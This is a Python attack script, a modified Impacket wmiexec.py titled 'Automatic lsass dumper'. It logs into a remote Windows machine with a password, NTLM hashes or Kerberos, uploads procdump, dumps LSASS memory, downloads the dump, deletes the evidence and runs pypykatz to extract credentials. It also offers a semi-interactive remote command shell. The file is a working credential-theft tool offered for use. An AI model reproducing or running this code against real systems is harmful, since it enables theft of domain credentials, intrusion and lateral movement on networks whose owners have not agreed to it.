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Automatic lsass dumper
#!/usr/bin/env python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# A similar approach to smbexec but executing commands through WMI.
# Main advantage here is it runs under the user (has to be Admin)
# account, not SYSTEM, plus, it doesn't generate noisy messages
# in the event log that smbexec.py does when creating a service.
# Drawback is it needs DCOM, hence, I have to be able to access
# DCOM ports at the target machine.
#
# Author:
# beto (@agsolino)
#
# Reference for:
# DCOM
#
from __future__ import division
from __future__ import print_function
import sys
import os
import cmd
import argparse
import time
import logging
import ntpath
from impacket.examples import logger
from impacket import version
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from six import PY2
OUTPUT_FILENAME = '__' + str(time.time())
CODEC = sys.stdout.encoding
PROC_PATH = "/opt/procdump/procdump64.exe"
class WMIEXEC:
def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
noOutput=False, doKerberos=False, kdcHost=None):
self.__command = command
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__share = share
self.__noOutput = noOutput
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
### This is super hacky ###
self.shell.do_put(PROC_PATH)
self.shell.onecmd("procdump64.exe -ma -accepteula lsass lsass.dmp")
self.shell.do_get("lsass.dmp")
self.shell.onecmd("del procdump64.exe")
self.shell.onecmd("del lsass.dmp")
### but it still works ###
#raw_input("Press ENTER to continue")
print(os.popen("pypykatz lsa minidump lsass.dmp").read())
if True:
pass
elif self.__command != ' ':
self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
class RemoteShell(cmd.Cmd):
def __init__(self, share, win32Process, smbConnection):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\\' + OUTPUT_FILENAME
self.__outputBuffer = str('')
self.__shell = 'cmd.exe /Q /c '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__pwd = str('C:\\')
self.__noOutput = False
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self.__noOutput = True
def do_shell(self, s):
os.system(s)
def do_help(self, line):
print("""
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
get {file} - downloads pathname to the current local dir
! {cmd} - executes a local shell cmd
""")
def do_lcd(self, s):
if s == '':
print(os.getcwd())
else:
try:
os.chdir(s)
except Exception as e:
logging.error(str(e))
def do_get(self, src_path):
try:
import ntpath
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
fh = open(filename,'wb')
logging.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
fh.close()
except Exception as e:
logging.error(str(e))
if os.path.exists(filename):
os.remove(filename)
def do_put(self, s):
try:
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = ''
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
dst_path = dst_path.replace('/','\\')
import ntpath
pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file)
drive, tail = ntpath.splitdrive(pathname)
logging.info("Uploading %s to %s" % (src_file, pathname))
self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
fh.close()
except Exception as e:
logging.critical(str(e))
pass
def do_exit(self, s):
return True
def emptyline(self):
return False
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
if PY2:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s.decode(sys.stdin.encoding)))
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
self.__outputBuffer = ''
def default(self, line):
# Let's try to guess if the user is trying to change drive
if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid
self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0:
# Something went wrong
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
# Drive valid, now we should get the current path
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n').encode(CODEC)
self.prompt = (self.__pwd + b'>')
self.__outputBuffer = ''
else:
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
try:
self.__outputBuffer += data.decode(CODEC)
except UnicodeDecodeError:
logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
'https://docs.python.org/2.4/lib/standard-encodings.html\nand then execute wmiexec.py '
'again with -codec and the corresponding codec')
self.__outputBuffer += data.decode(CODEC, errors='replace')
if self.__noOutput is True:
self.__outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
# Output not finished, let's wait
time.sleep(1)
pass
elif str(e).find('Broken') >= 0:
# The SMB Connection might have timed out, let's try reconnecting
logging.debug('Connection broken, trying to recreate it')
self.__transferClient.reconnect()
return self.get_output()
self.__transferClient.deleteFile(self.__share, self.__output)
def execute_remote(self, data):
command = self.__shell + data
if self.__noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
if PY2:
self.__win32Process.Create(command.decode(sys.stdin.encoding), self.__pwd, None)
else:
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
print(self.__outputBuffer)
self.__outputBuffer = ''
class AuthFileSyntaxError(Exception):
'''raised by load_smbclient_auth_file if it encounters a syntax error
while loading the smbclient-style authentication file.'''
def __init__(self, path, lineno, reason):
self.path=path
self.lineno=lineno
self.reason=reason
def __str__(self):
return 'Syntax error in auth file %s line %d: %s' % (
self.path, self.lineno, self.reason )
def load_smbclient_auth_file(path):
'''Load credentials from an smbclient-style authentication file (used by
smbclient, mount.cifs and others). returns (domain, username, password)
or raises AuthFileSyntaxError or any I/O exceptions.'''
lineno=0
domain=None
username=None
password=None
for line in open(path):
lineno+=1
line = line.strip()
if line.startswith('#') or line=='':
continue
parts = line.split('=',1)
if len(parts) != 2:
raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
(k,v) = (parts[0].strip(), parts[1].strip())
if k=='username':
username=v
elif k=='password':
password=v
elif k=='domain':
domain=v
else:
raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))
return (domain, username, password)
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using Windows "
"Management Instrumentation.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from '
'(default ADMIN$)')
parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output '
'(no SMB connection created)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
'"%s"). If errors are detected, run chcp.com at the target, '
'map the result with '
'https://docs.python.org/2.4/lib/standard-encodings.html and then execute wmiexec.py '
'again with -codec and the corresponding codec ' % CODEC)
parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will '
'launch a semi-interactive shell')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. "
"See smbclient man page's -A option.")
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.codec is not None:
CODEC = options.codec
else:
if CODEC is None:
CODEC = 'UTF-8'
if ' '.join(options.command) == ' ' and options.nooutput is True:
logging.error("-nooutput switch and interactive shell not supported")
sys.exit(1)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
try:
if options.A is not None:
(domain, username, password) = load_smbclient_auth_file(options.A)
logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
options.share, options.nooutput, options.k, options.dc_ip)
executer.run(address)
except KeyboardInterrupt as e:
logging.error(str(e))
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
sys.exit(1)
sys.exit(0)
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